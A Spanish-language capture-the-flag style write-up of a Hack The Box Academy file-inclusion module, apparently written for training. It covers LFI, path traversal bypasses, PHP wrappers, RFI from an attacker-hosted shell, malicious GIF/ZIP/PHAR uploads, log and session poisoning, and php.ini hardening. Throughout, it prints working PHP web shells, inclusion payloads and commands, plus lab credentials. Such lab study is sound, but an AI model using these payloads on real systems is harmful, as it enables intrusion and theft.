File Inclusion
Overview
Este módulo me permitió aprender sobre los siguientes conceptos:
Local File Inclusion (LFI)
Path Traversal
Bypassing restricciones de LFI
Ejecución remota de comandos (RCE) a través de...
PHP wrappers
Remote File Inclusion (RFI)
Subida de archivos maliciosos
Log Poisoning
Cómo automatizar la explotación de un LFI
Cómo prevenir un LFI
Local File Inclusion (LFI)
Desplegamos el target y accedemos al servicio web a través del navegador.

Si hacemos click en Language, veremos un menú desplegable con dos opciones de idiomas: English y Spanish. Dependiendo del idioma que seleccionemos, se cargará un archivo php distinto; esto está controlado a través del parámetro language.

Intentamos acontecer un Local File Inclusion para cargar el archivo /etc/passwd de la máquina. Sin embargo, no funciona.

Para que funcione, primero debemos realizar un Directory Path Traversal, retrocediendo varios directorios hasta llegar a la raÃz y ahà si cargar el archivo.

Hacemos Ctrl + U
para ver el output más ordenado:

A partir del LFI, pudimos descubrir que el nombre del usuario a nivel de sistema que arranca con "b" es barry
.
La flag se encuentra en el archivo flag.txt localizado en el directorio /usr/share/flags.

Basic Bypasses
En esta ocasión, la aplicación cuenta con más de un filtro para evitar la vulnerabilidad del Local File Inclusion. El objetivo es bypassearlas para leer /flag.txt.
Después de probar con múltiples payloads, entendà que se estaban aplicando dos restricciones:
Por un lado, el path debÃa comenzar sà o sà con el directorio languages; de lo contrario, se muestra un error.
Por el otro, la tÃpica secuencia del Directory Path Traversal no funciona. Es necesario utilizar ....// en lugar de ../ porque se está aplicando una sanitización. Como no es recursiva, no es difÃcil de burlar.
Lo que debemos introducir como valor del parámetro language quedarÃa asÃ: languages/....//....//....//....//flag.txt
.

PHP Filters
El ejercicio consiste en fuzzear la aplicación web en búsqueda de otros scripts php, en particular, uno de configuración, donde se almacena la contraseña de la base de datos.
Con ffuf indicamos el diccionario y la URL donde queremos descubrir archivos con extensión php.
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://83.136.252.32:45200/FUZZ.php -ic

Encontramos el archivo configure.php
.
Si intentamos apuntar a este recurso directamente a través del LFI, no vamos a ser capaces de ver nada, porque se está interpretando el código.

Para poder ver el contenido del archivo, debemos emplear un wrapper de codificación en base64: ?language=php://filter/read=convert.base64-encode/resource=configure

Copiamos la cadena en base64 y la decodificamos:
echo 'PD9waHAKCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnR0VUJyAmJiByZWFscGF0aChfX0ZJTEVfXykgPT0gcmVhbHBhdGgoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkgewogIGhlYWRlcignSFRUUC8xLjAgNDAzIEZvcmJpZGRlbicsIFRSVUUsIDQwMyk7CiAgZGllKGhlYWRlcignbG9jYXRpb246IC9pbmRleC5waHAnKSk7Cn0KCiRjb25maWcgPSBhcnJheSgKICAnREJfSE9TVCcgPT4gJ2RiLmlubGFuZWZyZWlnaHQubG9jYWwnLAogICdEQl9VU0VSTkFNRScgPT4gJ3Jvb3QnLAogICdEQl9QQVNTV09SRCcgPT4gJ0hUQntuM3Yzcl8kdDByM19wbDQhbnQzeHRfY3IzZCR9JywKICAnREJfREFUQUJBU0UnID0+ICdibG9nZGInCik7CgokQVBJX0tFWSA9ICJBd2V3MjQyR0RzaHJmNDYrMzUvayI7' | base64 -d
En configure.php se encuentran credenciales para la base de datos blogdb. Ahà mismo podemos visualizar la flag.

PHP Wrappers
La idea es llegar a ejecutar comandos en la máquina a través de un wrapper PHP y leer la flag en /.
Para conseguirlo, primero codificamos una web shell simple en base64.
echo '<?php system ($_GET["cmd"]); ?>'| base64
PD9waHAgc3lzdGVtICgkX0dFVFsiY21kIl0pOyA/Pgo=
Vamos a ejecutar comandos a través del wrapper data. Le pasamos la cadena en base64 y luego le pasamos el comando que queremos ejecutar al parámetro cmd de la web shell que definimos previamente: ?language=data://text/plain;base64,PD9waHAgc3lzdGVtICgkX0dFVFsiY21kIl0pOyA/Pgo=&cmd=id
En este caso, ejecutamos un id
.

Ahora, listamos el contenido existente en la raÃz con ls /
.

Finalmente, mostramos el contenido del archivo donde se almacena la flag:
cat /37809e2f8952f06139011994726d9ef1.txt
.

Remote File Inclusion (RFI)
En lugar de un LFI, vamos a acontecer un Remote File Inclusion para llegar a una ejecución remota de comandos. Luego, hay que buscar la flag en alguno de los directorios de /.
Creamos un script php con la web shell.
echo '<?php system ($_GET["cmd"]); ?>' > shell.php
Montamos un servidor http con python por el puerto 443.
sudo python3 -m http.server 443
Y averiguamos nuestra IP con el comando ifconfig
(el de la interfaz tun0).
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 209.151.150.186 netmask 255.255.252.0 broadcast 209.151.151.255
inet6 fe80::a4ba:3bff:fe08:7b25 prefixlen 64 scopeid 0x20<link>
ether a6:ba:3b:08:7b:25 txqueuelen 1000 (Ethernet)
RX packets 508664 bytes 188715694 (179.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 377019 bytes 518067864 (494.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 742167 bytes 531019122 (506.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 742167 bytes 531019122 (506.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.14.236 netmask 255.255.254.0 destination 10.10.14.236
inet6 dead:beef:2::10ea prefixlen 64 scopeid 0x0<global>
inet6 fe80::8adb:cdab:5808:d859 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 159 bytes 203392 (198.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 92 bytes 6436 (6.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Ahora, en el parámetro language vamos a cargar, no una ruta del sistema, sino un recurso externo que estamos hosteando desde nuestra máquina de atacantes.
A través del parámetro cmd que definimos en la web shell, controlamos el comando a ejecutar:
`?language=http://10.10.14.236:443/shell.php&cmd=whoami`

A su vez, veremos que nos llega una petición GET al servidor.

Ahora que verificamos que tenemos un RCE, buscamos la flag.

En la raÃz hay un directorio exercise, que parece ser el que contiene la flag.

Efectivamente, ya podemos ejecutar un cat /exercise/flag.txt
para ver la flag.

LFI and File Uploads
En la sección se presentan varias técnicas para llegar a un RCE.
Es importante notar que ahora la web tiene una sección llamada Profile Settings donde podemos subir un archivo.

GIF
Creamos un archivo GIF que en realidad contiene código PHP malicioso. Le añadimos la cabecera GIF8 por si se está comprobando a través de los magic numbers que se trata de un archivo de imagen.
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Lo subimos.

Verificamos que ha sido subido de forma exitosa.

A través del LFI, apuntamos a /profile_images, que es la ruta donde se encuentran almacenados los archivos subidos y de ahà a shell.gif, donde a través del parámetro cmd controlamos el comando a ejecutar.

Ahora listamos el contenido de la raÃz.

Y visualizamos la flag.

ZIP
Creamos un comprimido dentro del cual se encuentra el archivo shell.php
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.zip shell.php
Lo subimos.

Desde el LFI, usamos el wrapper zip para apuntar al archivo shell.php y ejecutar comandos a través del parámetro cmd: ?language=zip://./profile_images/shell.zip#shell.php&cmd=whoami
A tener en cuenta: hay que urlencodear el # y convertirlo a %23.

PHAR
Creamos un archivo shell.php con este contenido:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
Lo compilamos como un archivo phar y lo renombramos a shell.jpg.
$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
Subimos el archivo.

Y apuntamos a la siguiente URL, donde a través del parámetro cmd controlamos el comando a ejecutar, en este caso, un id
: http://94.237.56.188:44787/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt
Log Poisoning
Utilizar cualquiera de las técnicas explicadas en la sección para llegar a un RCE; la respuesta que debemos proporcionar es el output del comando pwd
.
PHP Session Poisoning
Abrimos las Herramientas del Desarrollador con Ctrl + Shift + I
y nos vamos a Storage donde se almacenan las cookies.

La información almacenada en el servidor relacionadas con la cookie generalmente se encuentran en /var/lib/php/sessions/sess_PHPSESSID
donde PHPSESSID debe ser reemplazado por el valor que se encuentra en Storage. En nuestro caso, serÃa /var/lib/php/sessions/sess_i1u4qh3va59osi0a7hjrhf1s9l
.
Apuntamos a este recurso mediante el LFI.

Hay dos valores: selected_language y preference. Tenemos en nuestro control selected_language, ya que depende del input que le pasemos al parámetro language.
Le pasamos como valor una web shell en PHP:
?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Y ahora apuntamos al mismo recurso, añadiendo el parámetro cmd con el que controlamos el comando a ejecutar. En este caso, el comando pwd
.
La URL quedarÃa asÃ: http://83.136.255.150:41693/index.php?language=/var/lib/php/sessions/sess_i1u4qh3va59osi0a7hjrhf1s9l&cmd=pwd

Vale aclarar que esta forma solo sirve para ejecutar un único comando. Si quisiéramos ejecutar otro comando, tendrÃamos que repetir todo el proceso de pasarle la web shell en el parámetro language y apuntar al archivo nuevamente.
Server Log Poisoning
Probemos la otra alternativa.
Los logs de Apache suelen ubicarse en /var/log/apache2/access.log. Apuntamos a este recurso para asegurarnos de tener capacidad de lectura.

Abrimos BurpSuite, interceptamos la petición y la enviamos al Repeater. Alteramos el User-Agent para que contenga código PHP malicioso. ¿Por qué? Porque la web interpreta PHP y el User-Agent se ve reflejado en el archivo de logs de Apache.

A través del parámetro cmd, logramos conseguir ejecución remota de comandos.

Vemos los archivos de la raÃz para encontrar la flag.

Ya podemos visualizarla.

Automated Scanning
Aplicamos fuzzing para descubrir parámetros expuestos.
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://94.237.53.3:40404/index.php?FUZZ=value -fs 2309 -ic

Descubrimos el parámetro view
. Ahora hay que intentar explotarlo con un diccionario de payloads para LFI tÃpicos y asà ser capaces de leer el archivo /flag.txt.
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u http://94.237.53.3:40404/index.php?view=FUZZ -fs 1935 -ic

Yo utilicé el payload que requerÃa la mÃnima cantidad de ../

Y asà podemos ver la flag.

File Inclusion Prevention
Nos conectamos al target por SSH con las credenciales htb-student:HTB_@cademy_stdnt!
¿Cuál es la ruta absoluta del archivo php.ini file para Apache?
/etc/php/7.4/apache2/php.ini
$ find / -name php.ini 2>/dev/null
/etc/php/7.4/apache2/php.ini
/etc/php/7.4/cli/php.ini
Al siguiente ejercicio hay que ir resolviéndolo paso a paso.
Primero, editar el archivo php.ini para bloquear la función system().
Para eso, hay que abrir el archivo con sudo nano /etc/php/7.4/apache2/php.ini
.
Con Ctrl + Q
buscamos por la cadena "disable_functions". Añadimos system.

Para que se apliquen los cambios, hay que reiniciar el servicio:
$ sudo service apache2 restart
En /var/www/html, creamos un archivo shell.php que contenga una web shell.
<?php system($_GET["cmd"]); ?>
Luego, intentamos ejecutar el código PHP que usa la función system. Para ello, realizamos una petición con cURL a shell.php
$ curl http://localhost/shell.php
Si leemos el archivo /var/log/apache2/error.log veremos el siguiente mensaje: system() has been disabled for security
reasons.

Skills Assessment - File Inclusion
Desplegamos el target. Accedemos al servicio web a través del navegador.

La sección de la página que se carga depende del parámetro page
.

Intenté aplicar un Directory Path Traversal para cargar el /etc/passwd, pero cualquier cadena que contenga ../ es detectada como input inválido.

Sin embargo, podemos usar el wrapper de codificación en base64 para ver el código del index.php.
http://94.237.54.170:47003/index.php?page=php://filter/read=convert.base64-encode/resource=index

Para poder copiar la cadena completa y decodificarla con base64 -d
desde consola, hice la petición con cURL.
curl -s http://94.237.54.170:47003/index.php?page=php://filter/read=convert.base64-encode/resource=index
Si inspeccionamos el código cuidadosamente, veremos una ruta que parece interesante.

Esa ruta nos dirige a un panel Admin.

A través del parámetro log
se controla qué tipo de log queremos cargar: Chat, Service o System.

Sin embargo, es vulnerable a LFI. Podemos ver, por ejemplo, el /etc/passwd de la máquina.
http://94.237.54.170:47003/ilf_admin/index.php?log=../../../../../etc/passwd

Entre los usuarios del sistema, está nginx, por lo que podemos asumir que este es el servidor web en uso.

Cargamos el archivo /etc/nginx/nginx.conf para ver más información sobre el servicio. Encontramos la ruta donde se almacenan los logs.

Si cargamos /var/log/nginx/access.log, queda a la vista que tenemos capacidad de lectura, por lo que lo siguiente que vamos a probar es un Log Poisoning.

Abrimos BurpSuite, activamos el proxy e interceptamos la petición. Modificamos el User-Agent para que contenga código PHP malicioso.

Luego, desde la página ejecutamos comandos a través del parámetro cmd que definimos en la web shell. En la raÃz hay un archivo que contiene la flag.

Ya podemos visualizarla.

Last updated